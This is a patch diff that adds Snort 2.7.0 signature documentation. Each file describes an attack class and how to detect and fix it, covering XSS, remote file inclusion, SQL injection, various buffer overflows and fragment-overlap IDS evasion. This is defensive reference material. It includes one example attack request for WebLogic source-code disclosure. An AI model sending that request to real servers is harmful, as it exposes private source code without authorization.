+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000522.txt
+++ snort-2.7.0/doc/signatures/100000522.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000522
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "The Edge eCommerce Shop" application running on 
+a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "cart_id" parameter in the "productDetail.php" 
+script used by the "The Edge eCommerce Shop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using The Edge eCommerce Shop
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2765.txt
+++ snort-2.7.0/doc/signatures/2765.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2765
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3093.txt
+++ snort-2.7.0/doc/signatures/3093.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3093
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1058.txt
+++ snort-2.7.0/doc/signatures/1058.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1058
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/100000382.txt
+++ snort-2.7.0/doc/signatures/100000382.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000382
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_users.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_users.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1939.txt
+++ snort-2.7.0/doc/signatures/1939.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1939
+
+--
+Summary:
+This event is generated when a possible buffer overflow is attempted for the bootpd service.
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Bootp is a protocol used for devices such as diskless workstations to locate a host from which to boot and to receive an assigned an IP address.  A flaw exists in the bootpd service allowing a possible buffer overflow condition when a bootp request is issued with an invalid hardware address type. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Affected Systems:
+OpenBSD 2.3, 2.4
+FreeBSD - Releases up to and including 2.x
+
+--
+Attack Scenarios:
+An attacker may attempt to use this exploit to gain remote access on the vulnerable server.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block bootp traffic from entering your network.  
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0798
+
+--
--- snort-2.7.0.orig/doc/signatures/100000799.txt
+++ snort-2.7.0/doc/signatures/100000799.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000799
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "c4" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000657.txt
+++ snort-2.7.0/doc/signatures/100000657.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000657
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "homepage" parameter in the "guestbook.php" 
+script used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000352.txt
+++ snort-2.7.0/doc/signatures/100000352.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000352
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Blend Portal" application running on a webserver. Access to the file "blend_common.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "blend_common.php" script used by the "Blend Portal" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blend Portal
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/286.txt
+++ snort-2.7.0/doc/signatures/286.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+286
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in the POP3 qpopper service on BSD systems.
+
+--
+Impact:
+An attacker can gain access to a shell running with root privileges.
+
+--
+Detailed Information:
+This rule looks for a piece of shell code (executable code) that is
+used to exploit a known vulnerability in an older version of the Qualcom
+based POP3 daemon distributed with BSD Unixes.
+
+--
+Affected Systems:
+*BSD systems using Qualcomm Qpopper 2.4
+
+--
+Attack Scenarios:
+The attack is done remotely and gives the attacker a command shell
+running with root privileges.
+
+--
+Ease of Attack:
+Simple.  An exploit is readily available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the available security patches from your vendor.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/133
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-1999-0006
+
+--
--- snort-2.7.0.orig/doc/signatures/2139.txt
+++ snort-2.7.0/doc/signatures/2139.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 2139
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerabliity in BEA Systems WebLogic server. 
+
+--
+Impact:
+Information gathering, source code disclosure.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a vulnerabliity in BEA Systems WebLogic server.
+
+A weakness in the configuration of the WebLogic server from BEA Systems allows an attacker to view the source code of .jsp and .jhtml pages that reside in the root directory of the webserver. A request for these documents prefixed with /*.shtml/ will exploit a vulnerability in the handling of Server Side Include Servlet (SSIServlet) such that the webserver will return the documents unparsed, rendering the source code viewable.
+
+--
+Affected Systems:
+BEA Systems WebLogic Enterprise 5.1 and 5.1.x
+
+--
+Attack Scenarios:
+An attacker can retrieve the source code of a .jsp file by making a web request in the form: http://www.foo.com/*.shtml/target.jsp.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/111-14.txt
+++ snort-2.7.0/doc/signatures/111-14.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+111-14
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may indicate an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event indicates that the pre-processor stream4 has detected forward
+overlapping packets that may indicate an attempt is being made to evade
+detection by an IDS.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can attempt to hide malicious payload data by sending
+fragmented packets that overlap.
+
+-- 
+Ease of Attack: 
+Simple. Tools such as fragroute contain this functionality.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000472.txt
+++ snort-2.7.0/doc/signatures/100000472.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000472
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "show.php" with SQL commands being passed as the "MAINID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "MAINID" parameter in the "show.php" script used by the 
+"VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000485.txt
+++ snort-2.7.0/doc/signatures/100000485.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000485
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "RahnemaCo" application running on a webserver. 
+Access to the file "page.php" using a remote file being passed as the "osCsid" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "osCsid" parameter in the "page.php" script used by the 
+"RahnemaCo" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using RahnemaCo
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000409.txt
+++ snort-2.7.0/doc/signatures/100000409.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000409
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "AssoCIateD" application running on a webserver. Access to the file "gallery_functions.php" using a remote file being passed as the "root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root_path" parameter in the "gallery_functions.php" script used by the "AssoCIateD" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using AssoCIateD
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2881.txt
+++ snort-2.7.0/doc/signatures/2881.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2881
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_priority_group
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3087.txt
+++ snort-2.7.0/doc/signatures/3087.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3087
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow in Microsoft Browser Client Context Tool (W3Who.dll).
+
+--
+Impact:
+Denial of service or remote access. If the exploit is successful,
+an attacker can gain remote access to the host with system privileges.
+
+--
+Detailed Information:
+W3Who is an Internet Server Application Programming Interface (ISAPI)
+application dynamic-link library (DLL) that works within a Web page to
+display information about the calling context of the client browser and
+the configuration of the host server. W3Who is included in the Windows
+2000 Server Resource Kit.
+
+A boundary error within the processing of parameters can be exploited
+to cause a buffer overflow by passing an overly long parameter.
+
+--
+Affected Systems:
+Microsoft IIS with W3Who.dll. (W3Who.dll is not automatically installed
+with IIS.)
+
+--
+Attack Scenarios:
+An attacker can send a malformed HTTP request with an overly long
+parameter to W3Who DLL, subsequently causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Any overly large request URI with a reference to w3who.dll will be
+detected.
+
+--
+False Negatives:
+This rule only detects the attack when the parameters are passed
+as part of the URI (GET method).
+
+--
+Corrective Action:
+Disable the W3Who.dll ISAPI extension.
+
+--
+Contributors:
+nnposter@users.sourceforge.net
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;Q323640
+
+--
--- snort-2.7.0.orig/doc/signatures/2439.txt
+++ snort-2.7.0/doc/signatures/2439.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2439
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Real Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2109.txt
+++ snort-2.7.0/doc/signatures/2109.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow condition in the Post Office Protocol (POP) command TOP.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by sending a line feed character to a POP server via the TOP command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1688.txt
+++ snort-2.7.0/doc/signatures/1688.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1688
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000528.txt
+++ snort-2.7.0/doc/signatures/100000528.txt
